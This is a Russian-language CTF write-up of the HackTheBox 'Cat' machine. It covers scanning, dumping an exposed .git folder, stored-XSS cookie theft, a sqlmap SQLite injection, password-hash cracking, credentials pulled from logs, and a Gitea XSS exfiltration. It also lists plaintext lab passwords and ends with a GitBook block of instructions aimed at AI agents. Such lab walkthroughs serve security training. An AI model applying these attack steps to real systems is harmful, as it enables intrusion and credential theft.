> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/linux-medium/cat-hackthebox-writeup.md). # Разбор HackTheBox Cat Разбор машины Cat HackTheBox Medium на Linux, охватывающий фаззинг каталогов (файл .git), анализ исходного кода (дамп Git-репозитория), эксплуатацию хранимого XSS и угон сессии, SQL-инъекцию (SQLite) с использ {% embed url="" %} {% hint style="warning" %} **Навыки:** * Фаззинг директорий (.git файл) * Анализ исходного кода (дамп Git-репозитория) * Эксплуатация сохранённого XSS и перехват сессии * SQL-инъекция (SQLite) с использованием sqlmap * Взлом хэшей паролей * Проброс портов через SSH * Эксплуатация Gitea (v1.22.0) — сохранённый XSS * Эксфильтрация конфиденциальных данных с помощью XSS-пейлоадов {% endhint %} ## Разведка **Настройка рабочей среды:** Настройте рабочую среду, создав три папки для хранения важного содержимого, эксплойтов и результатов разведки Nmap.

**Проверка подключения к VPN** Проверьте подключение к VPN, чтобы обеспечить стабильную связь с целевой машиной.

**Обнаружение открытых портов с помощью Nmap:** Перечислите открытые порты и экспортируйте результаты в файл "allPorts" в каталоге Nmap: ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.53 -oG allPorts ```

Сканирование версий портов с помощью Nmap: Используйте Nmap для сканирования версий служб и сохраните вывод в файл "targeted": ```purebasic nmap -sCV -p22,80 10.10.11.53 -oN targeted ```

Чтобы преобразовать доменные имена в IP-адреса через DNS, мы вставляем доменное имя, связанное с его IP-адресом, в `/etc/hosts` файл:

### Порт 80 - HTTP

Получив доступ к `http://cat.htb` сайту, вы найдёте форму регистрации.

Мы также замечаем функцию голосования.

**Фаззинг директорий** Мы запускаем `gobuster` для обнаружения скрытых путей: ```bash gobuster dir -u http://cat.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -x php ```

Это выявляет несколько интересных файлов, включая `.git` каталог.

**дамп Git-репозитория** Мы используем `git-dumper` для получения содержимого репозитория: ```bash git-dumper http://cat.htb/.git git ```

Изучив исходный код, мы обнаруживаем **уязвимость SQL** а также возможность **сохранённого XSS**.

## Уязвимость XSS Приложение принимает *имя пользователя* и *электронная почта* поля без надлежащей фильтрации. Это позволяет внедрять вредоносные скрипты.

**XSS-пейлоад** Мы создаём пользователя со следующим именем: ```javascript ``` **Получение cookie администратора** Мы слушаем порт 8081: ```bash python -m http.server 8081 ```

После перехвата cookie мы получаем сеанс администратора:

Мы заменяем cookie нашей сессии на cookie администратора и получаем доступ к **панели управления**.

## SQL-инъекция (SQLite)

С правами администратора запустите `sqlmap` на уязвимой форме {% code overflow="wrap" %} ```bash sqlmap -u "http://cat.htb/accept_cat.php" --cookie="PHPSESSID=i4cao7dtdfk1bs713p57cfq719" --data="catId=1&catName=123" -p catName --level 3 --risk 3 --batch --random-agent --tables --dump --dbms=sqlite --threads 10 ``` {% endcode %}

**Восстановление хэшей** Мы получаем учётные данные пользователей' **паролей**. Вот несколько примеров: ``` d1bbba3670feb9435c9841e46e60ee2f ac369922d560f17d6eeb8b2c7dec498c 42846631708f69c00ec0c0a8aa4a92ad 39e153e825c4a3d314a0dc7f7475ddbe 781593e060f8d065cd7281c5ec5b4b86 1b6dce240bbfbc0905a664ad199e18f8 c598f6b844a36fa7836fba0835f1f6 e41ccefa439fc454f7eadbf1f139ed8a 24a8ec003ac2e1b3c5953a6f95f8f565 88e4dceccd48820cf77b5cf6c08698ad ``` **Взлом паролей** Используя [CrackStation](https://crackstation.net/), мы успешно определяем пароль пользователя `rosa`: {% embed url="" %}

* **имя пользователя** : rosa * **пароль** : soyunaprincesarosa SSH-подключение с полученными учётными данными: ```bash ssh rosa@cat.htb ```

### Переход к пользователю Axel #### Перечисление с помощью LinPEAS: ```bash ./linpeas.sh ``` {% embed url="" %} Rosa находится в `adm` группе, доступ к: ```bash cat /var/log/apache2/access.log | grep "axel" ```

Найдены учётные данные: * Имя пользователя: axel * Пароль : aNdZwgC4tI9gnVXv/\_e3Q

### Флаг user.txt :)

## Повышение привилегий ### Обнаружение внутренних портов: ```bash netstat -tuln ``` * **Node.js** (порт 3000) * **SMTP** (587, 25) Обнаруженные службы

#### Перенаправление портов ```bash sudo ssh -L 3000:127.0.0.1:3000 -L 587:127.0.0.1:587 -L 25:127.0.0.1:25 axel@cat.htb ``` ### Уязвимость XSS в Gitea v1.22.0 На `http://localhost:3000` -> **Gitea** доступен.

Войдите с учётными данными Axel.

Известная уязвимость XSS.

Мы создаём проект с описанием, содержащим: ```bash XSS test ```

* Результат:

### Почта, перехваченная через LinPEAS

Содержимое письма: * jobert\@localhost должен проверить репозиторий Gitea

Мы отправляем XSS-ссылку, содержащую скрипт эксфильтрации, который читает содержимое `index.php` страницы репозитория Gitea, кодирует его в Base64, затем отправляет на наш веб-сервер {% code overflow="wrap" %} ```bash PWNED ``` {% endcode %}

#### Через наш веб-сервер ```bash python -m http.server 8080 ```

#### Эксфильтрованное содержимое (декодировано из base64): ```bash echo "PD9waHAKJHZhbGlkX3VzZXJuYW1lID0gJ2FkbWluJzsKJHZhbGlkX3Bhc3N3b3JkID0gJ0lLdzc1ZVIwTVI3Q01JeGhIMCc7CgppZiAoIWlzc2V0KCRfU0VSVkVSWydQSFBfQVVUSF9VU0VSJ10pIHx8ICFpc3NldCgkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSkgfHwgCiAgICAkX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddICE9ICR2YWxpZF91c2VybmFtZSB8fCAkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSAhPSAkdmFsaWRfcGFzc3dvcmQpIHsKICAgIAogICAgaGVhZGVyKCdXV1ctQXV0aGVudGljYXRlOiBCYXNpYyByZWFsbT0iRW1wbG95ZWUgTWFuYWdlbWVudCInKTsKICAgIGhlYWRlcignSFRUUC8xLjAgNDAxIFVuYXV0aG9yaXplZCcpOwogICAgZXhpdDsKfQoKaGVhZGVyKCdMb2NhdGlvbjogZGFzaGJvYXJkLnBocCcpOwpleGl0Owo%2FPgoK" | base64 -d ``` * $valid/\_username = 'admin'; * $valid/\_password = 'IKw75eR0MR7CMIxhH0';

#### Повышение привилегий до root Для пользователя root повторно используются учётные данные ```bash su root ```

### Флаг root.txt :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/linux-medium/cat-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.